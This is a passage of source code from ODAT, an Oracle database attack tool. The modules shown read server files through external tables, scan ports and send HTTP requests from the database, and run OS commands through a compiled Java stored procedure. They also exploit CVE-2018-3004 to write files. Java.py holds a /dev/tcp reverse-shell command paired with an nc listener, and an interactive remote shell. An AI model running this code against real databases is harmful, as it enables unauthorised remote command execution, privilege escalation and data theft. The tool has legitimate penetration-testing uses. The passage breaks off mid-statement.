logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def getFile (self,remotePath, remoteNameFile, localFile): ''' Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) ''' data = "" logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status status = self.__createTableForReadFile__(remoteNameFile) if isinstance(status,Exception): return status request = "select line from {0}".format(self.tableName) response = self.__execThisQuery__(query=request,ld=['line']) if isinstance(response,Exception): logging.info('Error with the SQL request {0}: {1}'.format(request,response)) status = self.__dropDirectory__() status = self.__dropTable__() return response else : for l in response: data += l['line']+'\n' status = self.__dropDirectory__() status = self.__dropTable__() return data def execute (self, remotePath, remoteNameFile): ''' Execute a command ''' logging.info("Execute the {0} command stored stored in {1}".format(remoteNameFile,remotePath)) status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status status = self.__createTableForExec__(remoteNameFile) if isinstance(status,Exception): return status request = "select line from {0}".format(self.tableName) response = self.__execThisQuery__(query=request, ld=['line']) if isinstance(response,Exception): logging.info('Error with the SQL request {0}: {1}'.format(request,response)) status = self.__dropDirectory__() status = self.__dropTable__() return response else : logging.info("{0} command executed without errors".format(remoteNameFile)) status = self.__dropDirectory__() status = self.__dropTable__() return response def testAll(self): ''' Test all functions ''' folder = self.__generateRandomString__() self.args['print'].subtitle("External table to read files ?") logging.info("Simulate the file reading in the {0} folder thanks to an external table".format(folder)) status = self.getFile(remotePath=folder, remoteNameFile='data.txt', localFile="test.txt") if (status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status)): self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") self.args['print'].subtitle("External table to execute system commands ?") logging.info("Simulate the file execution thanks to an external table") status = self.execute (remotePath=folder, remoteNameFile='test') if (status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status)): self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runExternalTableModule (args): ''' Run the External Table module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","getFile","exec"]) == False : return EXIT_MISS_ARGUMENT externalTable = ExternalTable(args) status = externalTable.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the External Table module can be used") status = externalTable.testAll() #Option 1: getFile if args['getFile'] != None: args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0])) data = externalTable.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2]) if isinstance(data,Exception): args['print'].badNews("There is an error: {0}".format(data)) else: args['print'].goodNews("Data stored in the remote file {0} stored in {1}".format(args['getFile'][1],args['getFile'][0])) print(data) #Option 2: exec a script or command if args['exec'] != None: args['print'].title("Execute the {0} command stored in the {1} path".format(args['exec'][1],args['exec'][0])) data = externalTable.execute (remotePath=args['exec'][0], remoteNameFile=args['exec'][1]) if isinstance(data,Exception): args['print'].badNews("There is an error: {0}".format(data)) else: args['print'].goodNews("The {0} command stored in {1} has been executed (normally)".format(args['exec'][1],args['exec'][0])) odat-5.1.1/Http.py000066400000000000000000000127461423220672100137470ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -* from OracleDatabase import OracleDatabase import threading, _thread import logging import queue from texttable import Texttable from Utils import areEquals import os from Constants import * from Utils import getScreenSize class Http (OracleDatabase): ''' Allow the user to scan ports ''' def __init__(self,args): ''' Constructor ''' logging.debug("Http object created") OracleDatabase.__init__(self,args) self.ERROR_NO_HTTP = "ORA-29263: " self.ERROR_PROTOCOL = "ORA-29259: " self.ERROR_NO_OPEN = "ORA-12541: " self.ERROR_TIMEOUT = "ORA-12535: " self.ERROR_TRANSF_TIMEOUT = "ORA-29276: " self.ERROR_UTL_TCP_NETWORK = "ORA-29260: " class scanAPort(threading.Thread): def __init__(self, utlHttpObject,ip,ports,portStatusQueue,pbar,nb,portsQueue,queueLock): threading.Thread.__init__(self) self.utlHttpObject = utlHttpObject self.ip = ip self.portStatusQueue = portStatusQueue self.pbar = pbar self.nb = nb self.portsQueue = portsQueue self.queueLock = queueLock def run(self): protocol, status, info = None, None, None while True: if self.portsQueue.empty(): _thread.exit() try : port = self.portsQueue.get(block=False) except Exception as e: _thread.exit() url = 'http://{0}:{1}/'.format(self.ip, port) logging.debug("Scanning "+url+' ... (response in max 60 secs)') try: response = self.utlHttpObject.tryToConnect(self.ip, port) except Exception as e: response = self.utlHttpObject.sendGetRequest(url) if isinstance(response,Exception): logging.debug('Error returned: {0}'.format(response)) if self.utlHttpObject.ERROR_NO_OPEN in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_NO_OPEN elif self.utlHttpObject.ERROR_TIMEOUT in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_TIMEOUT elif self.utlHttpObject.ERROR_UTL_TCP_NETWORK in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_UTL_TCP_NETWORK elif self.utlHttpObject.ERROR_NO_HTTP in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_NO_HTTP elif self.utlHttpObject.ERROR_PROTOCOL in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_PROTOCOL elif self.utlHttpObject.ERROR_TRANSF_TIMEOUT in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_TRANSF_TIMEOUT else: protocol, status, info = 'tcp','unknown',None else : protocol, status, info = 'tcp/HTTP','open',None self.queueLock.acquire() if protocol != None : self.portStatusQueue.put([port,protocol,status,info]) nb = self.nb.get(block=False) + 1 self.nb.put(nb) self.pbar.update(nb) self.queueLock.release() self.portsQueue.task_done() def scanTcpPorts(self,httpObject=None,ip=None,ports=[],nbThread=2): ''' Scan tcp port of the ip system ''' pbar,nb = self.getStandardBarStarted(len(ports)),queue.Queue(1) threads, portStatusQueue, portsQueue = [], queue.Queue(), queue.Queue() queueLock = threading.Lock() nb.put(0) for aPort in ports : portsQueue.put(aPort) for i in range(nbThread): thread = httpObject.scanAPort(httpObject,ip,ports,portStatusQueue,pbar,nb, portsQueue,queueLock) threads += [thread] thread.start() portsQueue.join() pbar.finish() portStatus = [item for item in portStatusQueue.queue] return sorted(portStatus, key=lambda x: int(x[0])) def printScanPortResults(self,results): ''' resultats is a list of list print resultat of scan port ''' cleanList = [] results.insert(0,["PORT","PROTOCOL","STATE",'ERROR']) table = Texttable(max_width=getScreenSize()[0]) table.set_deco(Texttable.HEADER) if self.args['verbose']<2 : for l in results: if areEquals(l[2],'close')==False: cleanList.append(l) results = cleanList table.add_rows(results) self.args['print'].goodNews("Scan report for {0}:\n{1}".format(self.args['scan-ports'][0],table.draw())) def parseRequest(self,nameFileRequest=None): ''' Parse le fichier nameFile contenant une requête HTTP et retourne une liste permettant ensuite d'envoyer la requête avec httlib par exemple. Exemple d'utilisation: conn = httplib.HTTPConnection("root-me.org") conn.request(dataReq['method'],dataReq['url'],dataReq['body'],dataReq['header']) page = conn.getresponse().read() ... conn.close() ''' TYPE_REQUEST = ['GET','POST'] if os.path.isfile(nameFileRequest)==False : logging.error("File {0} not exist".format(nameFileRequest)) return None f = open(nameFileRequest) dataRequest = {'method':'', 'url':'', 'body':None, 'header':{}} for nl, l in enumerate(f): if nl==0 : try : lsplit = l.split(" ") if len(lsplit) != 3 : logging.error("{0} not contains 3 parts".format(repr(l))) return None if lsplit[0] in TYPE_REQUEST : dataRequest['method']=lsplit[0] dataRequest['url']=lsplit[1] dataRequest['version']=lsplit[2].replace('\n','').replace('\t','') else : logging.error("{0} not in {1}".format(lsplit[0],TYPE_REQUEST)) return None except: logging.error("Error with the first line {0} of the file \'{1}\'".format(repr(l),nameFileRequest)) return None else : try: lsplit = l.split(": ") dataRequest['header'][lsplit[0]]=lsplit[1].replace("\n","") except: logging.error("Error with the line {0} of the file \'{1}\'".format(repr(l),nameFileRequest)) return None f.close() return dataRequest odat-5.1.1/HttpUriType.py000066400000000000000000000066701423220672100152700ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from Http import Http import logging from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * class HttpUriType (Http): ''' Allow the user to send HTTP request ''' def __init__(self,args): ''' Constructor ''' logging.debug("HttpUriType object created") Http.__init__(self,args) def sendGetRequest(self,url,printResponse=True): ''' Send a HTTP get request to url Return False if the current user is not allowed to use the httpuritype lib, else return False or response data ''' logging.info('Send a HTTP GET request to {0}'.format(url)) query = "select httpuritype('{0}').getclob() from dual".format(url) response = self.__execQuery__(query=query,ld=['data']) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response elif isinstance(response,list) and isinstance(response[0],dict): return response[0]['data'] logging.info('Enough privileges') return '' def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("HTTPURITYPE library ?") logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the HTTPURITYPE library') response = self.sendGetRequest('http://0.0.0.0/',printResponse=False) if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): logging.info('Not enough privileges: {0}'.format(str(response))) self.args['print'].badNews("KO") return False else: self.args['print'].goodNews("OK") return True def runHttpUriTypeModule(args): ''' Run the HTTPURITYPE module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","httpUrl","scan-ports"]) == False : return EXIT_MISS_ARGUMENT httpUriType = HttpUriType(args) status = httpUriType.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the HTTPURITYPE library can be used") status = httpUriType.testAll() #Option 1: httpUrl if args['httpUrl'] != None: args['print'].title("Send a GET request from {0} to {1}".format(args['connectionStr'],args['httpUrl'])) response = httpUriType.sendGetRequest(url=args['httpUrl']) if isinstance(response,Exception): args['print'].badNews("HTTP GET request failed") else : args['print'].goodNews("The server response is:\n {0}".format(response)) if args['outputFile'] != None : httpUriType.writeFile(args['outputFile'],str(response)) #Option 2: scan-ports if args['scan-ports'] != None: ports = [] if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') elif '-' in args['scan-ports'][1]: startEnd = args['scan-ports'][1].split('-') for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) if ports == []: logging.critical("The second parameter ('{0}') is not a valid: cancelation...".format(args['scan-ports'][1])) return -1 else : if args['scan-ports'][1].isdigit() == True: ports = [args['scan-ports'][1]] else: logging.critical("The second parameter ('{0}') is not a valid port: cancelation...".format(args['scan-ports'][1])) return -1 args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) resultats = httpUriType.scanTcpPorts(httpObject=httpUriType,ip=args['scan-ports'][0],ports=ports) httpUriType.printScanPortResults(resultats) httpUriType.close() odat-5.1.1/Info.py000066400000000000000000000011651423220672100137140ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging class Info (OracleDatabase): ''' Information about the remote Oracle database ''' def __init__(self,args): ''' Constructor ''' logging.debug("Info object created") OracleDatabase.__init__(self,args) self.version = '' self.os = '' def isVersion(self, version=None): ''' return True if version 11 ''' if version in self.version : return True else: return False def __str__(self): ''' String representation ''' return "Oracle Version: {0} and OS Version: {1}".format(self.version,self.os) odat-5.1.1/Java.py000066400000000000000000000406341423220672100137060ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging, subprocess from threading import Thread from Utils import checkOptionsGivenByTheUser,generateRandomString from Constants import * class Java (OracleDatabase): ''' Allow to use Java remotly ''' def __init__(self,args): ''' Constructor ''' logging.debug("Java object created") OracleDatabase.__init__(self,args) self.SOURCE_OS_COMMAND_CLASS = """ CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS import java.io.*; public class OSCommand { public static String executeCommand(String command) { StringBuffer sb = new StringBuffer(); try { String[] finalCommand; if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { String systemRootvariable; try {systemRootvariable = System.getenv("SystemRoot");} catch (ClassCastException e) { systemRootvariable = System.getProperty("SystemRoot"); } finalCommand = new String[4]; finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe"; finalCommand[1] = "/y"; finalCommand[2] = "/c"; finalCommand[3] = command; } else { // Linux or Unix System finalCommand = new String[3]; finalCommand[0] = "/bin/sh"; finalCommand[1] = "-c"; finalCommand[2] = command; } // Execute the command... final Process pr = Runtime.getRuntime().exec(finalCommand); pr.waitFor(); // Capture output from STDOUT BufferedReader br_in = null; try { br_in = new BufferedReader(new InputStreamReader(pr.getInputStream())); String buff = null; while ((buff = br_in.readLine()) != null) { sb.append(buff); sb.append("\\n"); //try {Thread.sleep(100);} catch(Exception e) {} } br_in.close(); } catch (IOException ioe) { sb.append("IOException in input stream: ").append(ioe.getMessage()); System.out.println("Error printing process output."); ioe.printStackTrace(); } finally { try { br_in.close(); } catch (Exception ex) {} } // Capture output from STDERR BufferedReader br_err = null; try { br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream())); String buff = null; while ((buff = br_err.readLine()) != null) { sb.append("stderr:"); sb.append(buff); sb.append("\\n"); //try {Thread.sleep(100);} catch(Exception e) {} } br_err.close(); } catch (IOException ioe) { sb.append("IOException in error stream: ").append(ioe.getMessage()); System.out.println("Error printing execution errors."); ioe.printStackTrace(); } finally { try { br_err.close(); } catch (Exception ex) {} } } catch (Exception ex) { sb.append("Exception: ").append(ex.getMessage()); System.out.println(ex.getLocalizedMessage()); } return sb.toString(); } };""" self.SOURCE_OS_COMMAND_CREATE_FUNCTION = "CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.executeCommand (java.lang.String) return java.lang.String';" self.SOURCE_OS_COMMAND_EXEC = "select oscmd('{0}') from dual" self.SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"OSCommand\"" self.SOURCE_DROP_FUNCTION = "DROP FUNCTION oscmd" self.LINUX_CMD_ERROR = 'No such file or directory' self.JAVA_SESSION_CLEARED = "Java session state cleared" def createClassAndFunctionToExecOsCmd(self): ''' CREATE AND COMPILE JAVA CLASS and CREATE FUNCTION TO CALL JAVA ''' logging.info("Create and compile the java class") if "path-shell" in self.args: self.SOURCE_OS_COMMAND_CLASS = self.SOURCE_OS_COMMAND_CLASS.replace('"/bin/sh"','"'+self.args["path-shell"]+'"') status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CLASS) if isinstance(status,Exception): logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status))) return status else : logging.info("Create a function to call java") status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CREATE_FUNCTION) if isinstance(status,Exception): logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status))) return status else : return True def deleteClassAndFunctionToExecOsCmd(self): ''' Delete the COMPILED JAVA CLASS and delete the CREATED FUNCTION ''' logging.info("Delete the PL/SQL function created") status = self.__execPLSQL__(self.SOURCE_DROP_FUNCTION) if isinstance(status,Exception): logging.info("Impossible to drop the function: {0}".format(self.cleanError(status))) return status else: logging.info("Delete the java class compiled") status = self.__execPLSQL__(self.SOURCE_DROP_CLASS) if isinstance(status,Exception): logging.info("Impossible to drop the class: {0}".format(self.cleanError(status))) return status return True def __runOSCmd__ (self, cmd, printResponse=True, retryNb=1): ''' Run a OS command defineClassAndFunctionToExecOsCmd() must be run before this one return string (stdout or stderr) or Exception ''' logging.info("Execute the following command system remotly: {0}".format(cmd)) data = self.__execQuery__(query=self.SOURCE_OS_COMMAND_EXEC.format(cmd),ld=[]) if isinstance(data,Exception): logging.info("Impossible to execute the system command: {0}".format(str(data))) if self.JAVA_SESSION_CLEARED in str(data): if retryNb == 0 : return data logging.info("Run again the OS command...") return self.__runOSCmd__ (cmd=cmd, printResponse=printResponse, retryNb=retryNb-1) return data if data[0][0] == None : logging.info('The system command output is empty') return '' else : logging.info('The system command output is: `{0}`...'.format(data[0][0][:100])) if printResponse == True : self.args['print'].printOSCmdOutput(data[0][0]) return data[0][0] def execOSCommand(self,cmd, printResponse=True, needCreateClassAndFunction=True, needDeleteClassAndFunction=True): ''' Run a OS command ''' if needCreateClassAndFunction == False : data = self.__runOSCmd__ (cmd=cmd, printResponse=printResponse) else : status = self.createClassAndFunctionToExecOsCmd() if status != True: self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status))) return status else: data = self.__runOSCmd__ (cmd=cmd,printResponse=printResponse) if needDeleteClassAndFunction == True : status = self.deleteClassAndFunctionToExecOsCmd() if status != True: self.args['print'].goodNews("Impossible to delete functions created: {0}".format(self.cleanError(status))) if isinstance(data,Exception) == False : return data def getInteractiveShell(self): ''' Give an interactive shell to the user Return True if Ok, otherwise return False ''' exit, needCreateClassFunctions = False, True while exit == False: try: if needCreateClassFunctions == True : status = self.createClassAndFunctionToExecOsCmd() if status == False: self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status))) return False needCreateClassFunctions = False else : cmd = input('{0}$ '.format(self.args['server'])) output = self.execOSCommand(cmd=cmd ,printResponse=True, needCreateClassAndFunction = False, needDeleteClassAndFunction = False) except KeyboardInterrupt: status = self.deleteClassAndFunctionToExecOsCmd() if status != True: self.args['print'].badNews("Impossible to delete functions created: {0}".format(self.cleanError(status))) return True return False def __runListenNC__ (self,port=None): ''' nc listen on the port ''' try : subprocess.call("nc -l -v -p {0}".format(port), shell=True) except KeyboardInterrupt: pass def giveReverseShell(self, localip, localport): ''' Give a reverse tcp shell via nc Need upload nc.exe if the remote system is windows ''' if self.remoteSystemIsWindows() == True : logging.warn("Java reverse shell is not implement for Windows yet") elif self.remoteSystemIsLinux() == True : CMD = "exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done".format(localip,localport) self.args['print'].goodNews("The reverse shell try to connect to {0}:{1}".format(localip,localport)) a = Thread(None, self.__runListenNC__, None, (), {'port':localport}) a.start() try : self.execOSCommand(cmd=CMD,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) except KeyboardInterrupt: self.args['print'].goodNews("Connection closed") else : logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower())) #################################################################################################################### # Privilege escalation via CVE-2018-3004 # # Exploit: http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html # # "Vulnerability in the Java VM component of Oracle Database Server. # Supported versions that are affected are 11.2.0.4, 12.1.0.2,12.2.0.1 and 18.2. # Difficult to exploit vulnerability allows low privileged attacker having Create Session, Create Procedure privilege with network access via multiple protocols to compromise Java VM. # Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Java VM accessible data. # CVSS 3.0 Base Score 5.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)." # # "The Oracle bug for this vulnerability is Bug 27923353, and the patch is for the OJVM system. # For this POC, the proper patch is OJVM release update 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip)" #################################################################################################################### def createOrAppendFileViaCVE_2018_3004(self, data, remoteFilename): ''' Exploit CVE-2018-3004 write data in remoteFilename on the target If file does not exist, it is created. Otherwise, data are appended in remoteFilename. ''' CREATE_CLASS_EXPLOIT = """ CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "exploitDeserializationJava" AS import java.io.*; import java.beans.*; public class exploitDeserializationJava{ public static void input(String xml) throws InterruptedException, IOException { XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes())); Object object = decoder.readObject(); System.out.println(object.toString()); decoder.close(); } }; """ CREATE_FUNCTION_EXPLOIT ="CREATE OR REPLACE PROCEDURE exploitDeserialization (xmlcode IN VARCHAR2) IS language java name 'exploitDeserializationJava.input(java.lang.String)';" EXECUTE_FUNCTION = "BEGIN exploitDeserialization('{0}'); END;" XML_CODE = '{0}True{1}' #{0}:Filename on the target, {1}: data to write on the file SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"exploitDeserializationJava\"" SOURCE_DROP_FUNCTION = "DROP PROCEDURE exploitDeserialization" logging.info("Trying to write {0} in {1} on the target".format(repr(data), remoteFilename)) logging.info("Create and compile the java class") status = self.__execPLSQL__(CREATE_CLASS_EXPLOIT) if isinstance(status,Exception): logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status))) return status else : logging.debug("Java class created") logging.info("Create a stored procedure to call java") status = self.__execPLSQL__(CREATE_FUNCTION_EXPLOIT) if isinstance(status,Exception): logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status))) return status logging.debug("Stored procedure created") xmlCode = XML_CODE.format(remoteFilename, data) logging.info("Executing the function with the xml code: {0}".format(xmlCode)) status = self.__execPLSQL__(EXECUTE_FUNCTION.format(xmlCode)) if isinstance(status, Exception): logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(EXECUTE_FUNCTION.format(xmlCode), self.cleanError(status))) return status logging.info("Delete the PL/SQL PROCEDURE created") status = self.__execPLSQL__(SOURCE_DROP_FUNCTION) if isinstance(status,Exception): logging.info("Impossible to drop the function: {0}".format(self.cleanError(status))) else: logging.info("Delete the java class compiled") status = self.__execPLSQL__(SOURCE_DROP_CLASS) if isinstance(status,Exception): logging.info("Impossible to drop the class: {0}".format(self.cleanError(status))) return True def testAll (self): ''' Test all functions ''' command = self.__generateRandomString__() self.args['print'].subtitle('JAVA library ?') logging.info("Try to use JAVA in order to execute the following random command: {0}".format(command)) status = self.createClassAndFunctionToExecOsCmd() if status != True: self.args['print'].badNews("KO") else: data = self.__runOSCmd__ (command,printResponse=False) if data == '': logging.info("The system command {0} return no error, it's impossible with this random command".format(command)) self.args['print'].badNews("KO") else : self.args['print'].goodNews("OK") status = self.deleteClassAndFunctionToExecOsCmd() if status != True: self.args['print'].info("Impossible to delete functions created: {0}".format(self.cleanError(status))) logging.info("The attacker can create a Java Stored Procedure. Perhaps he can exploit CVE-2018-3004 ('Oracle Privilege Escalation via Deserialization')...") self.args['print'].subtitle("Bypass built in Oracle JVM security (CVE-2018-3004)?") remoteFileName = generateRandomString() if self.remoteSystemIsLinux() == True: status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='/tmp/'+remoteFileName) else: status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='%temp%\\'+remoteFileName) if status == True: self.args['print'].goodNews("OK") else: self.args['print'].badNews("KO") def runjavaModule(args): ''' Run the JAVA module ''' status = True if checkOptionsGivenByTheUser(args,["test-module", "shell", "reverse-shell", "exec", "create-file-CVE-2018-3004"]) == False : return EXIT_MISS_ARGUMENT java = Java(args) status = java.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the DBMSScheduler library can be used") status = java.testAll() #Option 1: exec if args['exec'] != None: args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) status = java.execOSCommand(cmd=args['exec'],printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) #Option 2: shell if args['shell'] == True: args['print'].title("Try to give you a pseudo shell to the {0} server".format(args['server'])) java.getInteractiveShell() #Option 3: reverse shell if args['reverse-shell'] != None : args['print'].title("Try to give you a nc reverse shell from the {0} server".format(args['server'])) java.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1]) #Option 4: Bypass built in Oracle JVM security through Deserialization (CVE-2018-3004) if args['create-file-CVE-2018-3004'] != None : args['print'].title("Try to create the file {0} on {1}".format(args['create-file-CVE-2018-3004'][1],args['server'])) status = java.createOrAppendFileViaCVE_2018_3004(data=args['create-file-CVE-2018-3004'][0], remoteFilename=args['create-file-CVE-2018-3004'][1]) if isinstance(status,Exception): args['print'].badNews("Impossible to create the file {0}: {1}".format(args['create-file-CVE-2018-3004'][1], status)) elif status==True: args['print'].goodNews("The file {0} has been created on the target with data '{1}'".format(args['create-file-CVE-2018-3004'][1], args['create-file-CVE-2018-3004'][0])) java.close() odat-5.1.1/MinHtppServer.py000066400000000000000000000027621423220672100155730ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- import http.server import socketserver import logging global_served = False global_content_file = b"" class HandlerHTTP(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Construct a server response. global global_content_file self.send_response(200) self.send_header('Content-Disposition', 'attachment; filename=t123ABCD.txt') self.send_header('Content-type','application/x-binary') self.end_headers() self.wfile.write(global_content_file) global global_served global_served = True return def serverFileForOneRequest(ip='0.0.0.0', port=8080, content=b"", timeout=10): ''' Serve the "content" on ip:port for one request only, all in memory (no file is written locally). content needs to be bytes Returns status (True if file has been served. Otherwise False: no served) ''' global global_served global global_content_file global_served = False global_content_file = content logging.info("Server listening on port {0}:{1}...".format(ip, port)) socketserver.TCPServer.allow_reuse_address = True httpd = socketserver.TCPServer((ip, port), HandlerHTTP) httpd.timeout=timeout logging.debug("Timeout for http server set on {0} scds".format(timeout)) httpd.handle_request() httpd.server_close() logging.debug("Server closed") logging.info("File has been downloaded: {0}".format(global_served)) return global_servedodat-5.1.1/OracleDatabase.py000066400000000000000000000777301423220672100156660ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- import logging, random, string, cx_Oracle ''' try: cx_Oracle.init_oracle_client() except Exception as e: logging.error("Impossible to load local configuration files in conf/: {0}".format(str(e))) ''' from Utils import areEquals,checkOracleVersion,getOracleConnection,ErrorSQLRequest from progressbar import * from time import sleep from sys import exit from Constants import * class OracleDatabase: ''' ''' def __init__(self,args): ''' Constructor ''' logging.debug("OracleDatabase module created") self.args = args self.__generateConnectionString__() self.oracleDatabaseversion = '' self.remoteOS = '' self.TARGET_UNAVAILABLE = ["Connect failed because target host or object does not exist", "listener could not find available handler with matching protocol stack"] self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV = "ORA-29283: " self.ERROR_FILEOPEN_FAILED = "ORA-22288: " self.ERROR_NO_PRIVILEGE = "ORA-24247: " self.ERROR_NO_PRIVILEGE_INVALID_ID = "ORA-00904: " self.ERROR_NOT_SYSDBA = "ORA-28009: " self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: " self.ERROR_CONN_IMPOSS = "ORA-12541: " self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: " self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle" self.ERROR_NOT_CONNECTED = "ORA-03114: " self.ERROR_SHARED_MEMORY = "ORA-27101: " self.ERROR_ACCOUNT_LOCKED = "ORA-28000: " self.ERROR_SERVICE_HANDLER = "ORA-12519" #TNS:no appropriate service handler found self.encoding = args['encoding'] self.nencoding = args['encoding'] def __generateConnectionString__(self, username=None, password=None): ''' Generate Oracle Database connection string If username is not given, it is taken from self.args If password is not given, it is taken from self.args Return Connection string according to args and parameters (user, password) ''' if username == None: user = self.args['user'] else: user = username if password == None: pwd = self.args['password'] else: pwd = password if 'serviceName' not in self.args and 'sid' not in self.args: logging.critical("serviceName and sid are not defined for generating a connection string") if ('serviceName' in self.args and self.args['serviceName'] == None) and ('sid' not in self.args and self.args['sid'] == None): logging.critical("serviceName and sid are empty for generating a connection string") if 'serviceName' in self.args and self.args['serviceName'] != None: logging.debug("TNS Connection string mode enabled and SERVICE NAME used for connection string") self.args['connectionStr'] = "{0}/{1}@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(Host={2})(Port={3})))(CONNECT_DATA=(SERVICE_NAME={4})))".format(user, pwd, self.args['server'], self.args['port'], self.args['serviceName']) else: logging.debug("TNS Connection string mode enabled and SID used for connection string") self.args['connectionStr'] = "{0}/{1}@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(Host={2})(Port={3})))(CONNECT_DATA=(SID={4})))".format(user, pwd, self.args['server'], self.args['port'], self.args['sid']) logging.debug('Oracle connection string: {0}'.format(self.args['connectionStr'])) return self.args['connectionStr'] def connection(self,threaded =True, stopIfError=False, encoding=None, nencoding=None): ''' Connection to the database 'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded applications imposes a performance penalty of about 10-15% which is why the default is False.' If stopIfError == True, stop if connection error The 'encoding' parameter affects character data such as VARCHAR2 and CLOB columns ("UTF-8" by default). The 'nencoding' parameter affects “National Character” data such as NVARCHAR2 and NCLOB ("UTF-8" by default). ''' if encoding == None: encoding = self.encoding if nencoding == None: nencoding =self.nencoding logging.debug("Connection encoding set to {0}/{1}".format(repr(encoding), repr(nencoding))) try: if self.args['SYSDBA'] == True : logging.debug("Connecting as SYSDBA to the database") # user parameter is assumed to be a connect string self.args['dbcon'] = cx_Oracle.connect(user=self.args['connectionStr'], mode=cx_Oracle.SYSDBA, threaded=threaded, encoding=encoding, nencoding=nencoding) elif self.args['SYSOPER'] == True : logging.debug("Connecting as SYSOPER to the database") # user parameter is assumed to be a connect string self.args['dbcon'] = cx_Oracle.connect(user=self.args['connectionStr'], mode=cx_Oracle.SYSOPER, threaded=threaded, encoding=encoding, nencoding=nencoding) else : # user parameter is assumed to be a connect string self.args['dbcon'] = cx_Oracle.connect(user=self.args['connectionStr'], threaded=threaded, encoding=encoding, nencoding=nencoding) self.args['dbcon'].autocommit = True if self.remoteOS == '' or self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase() return True except Exception as e: if self.ERROR_CONN_IMPOSS in str(e) or self.ERROR_UNABLE_TO_ACQUIRE_ENV in str(e): logging.critical("Impossible to connect to the remost host") exit(EXIT_BAD_CONNECTION) elif 